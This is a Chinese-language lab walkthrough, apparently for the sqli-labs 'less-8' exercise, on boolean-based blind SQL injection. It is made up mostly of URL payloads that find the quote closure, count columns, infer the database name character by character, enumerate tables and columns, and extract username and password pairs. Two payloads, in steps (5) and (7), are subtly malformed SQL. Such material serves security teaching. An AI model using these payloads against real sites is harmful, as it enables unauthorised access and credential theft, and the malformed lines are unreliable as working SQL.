less-8:
布尔型盲注:
特点:页面存在异常,页面无回显也无报错信息,这是布尔型盲注的特点。
利用:只能通过正确与错误两种状态来判断payload是否正确。
布尔盲注的思想:
利用判断语句来证明推测是否正确
推测正确时,页面正常显示;错误时,页面异常。
刚打开的页面是这样的:
(1)求闭合字符
我们输入?id=1
测试单引号,是这样的界面
双引号是这样的页面
单引号+)
双引号+)
进行逻辑判断
?id=1’ and 1=1 %23
?id=1’ and 1=2 %23
页面不同,说明被当作语句执行了
也说明,闭合字符是单引号
判断列数:
?id=1’ order by * %23
3页面正常,4页面错误,说明有三列
判断显示位:
?id=1’ and 1=2 union select 1,2,3 %23
这时,并不会和以前一样有什么显示,还是显示正常的页面,没有得到我们想要的显示位。
(2)求数据库名的长度:
?id=1’ and length(database())=1 %23
=2
...
一直试到8,出现了正确页面,说明数据库名的长度为8
用等号的方式去测的话需要一个一个的去试,可以选择用大于号或者是小于号,采用二分法的形式去测,这样比一个一个要快一些。
(3)求当前数据库名对应的ASCII值
?id=1’ and ascii(substr(database(),1,1))=115 %23
这个也是试对的时候才会出现正确的页面,结合ascii码表。
上面我们知道了数据库名的长度为8,所以要测第一个字符,第二个...第八个
纯手工试的话,速度慢,工作量大。
(4)求表的数量
?id=1’ and (select count(table_name) from information_schema.tables where table_schema=’security’)=1 %23
直到试到4是正确的
说明有四个表
(5)求表名对应的ASCII值
?id=1’ and ascii(substr( table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1)<102 %23
(6)求列的数量
?id=1’ and (select count(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’)<4 %23
(7)求列名对应的ASCII值
?id=1’ and ascii(substr(select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’ limit 0,1),1,1)<105 %23
(8)求字段的数量
?id=1’ and (select count(username) from security.users)<14 %23
(9)求字段内容对应的ASCII值
?id=1’ and ascii(substr((select concat(username,0x23,password) from security.users limit 0,1),1,1))<68 %23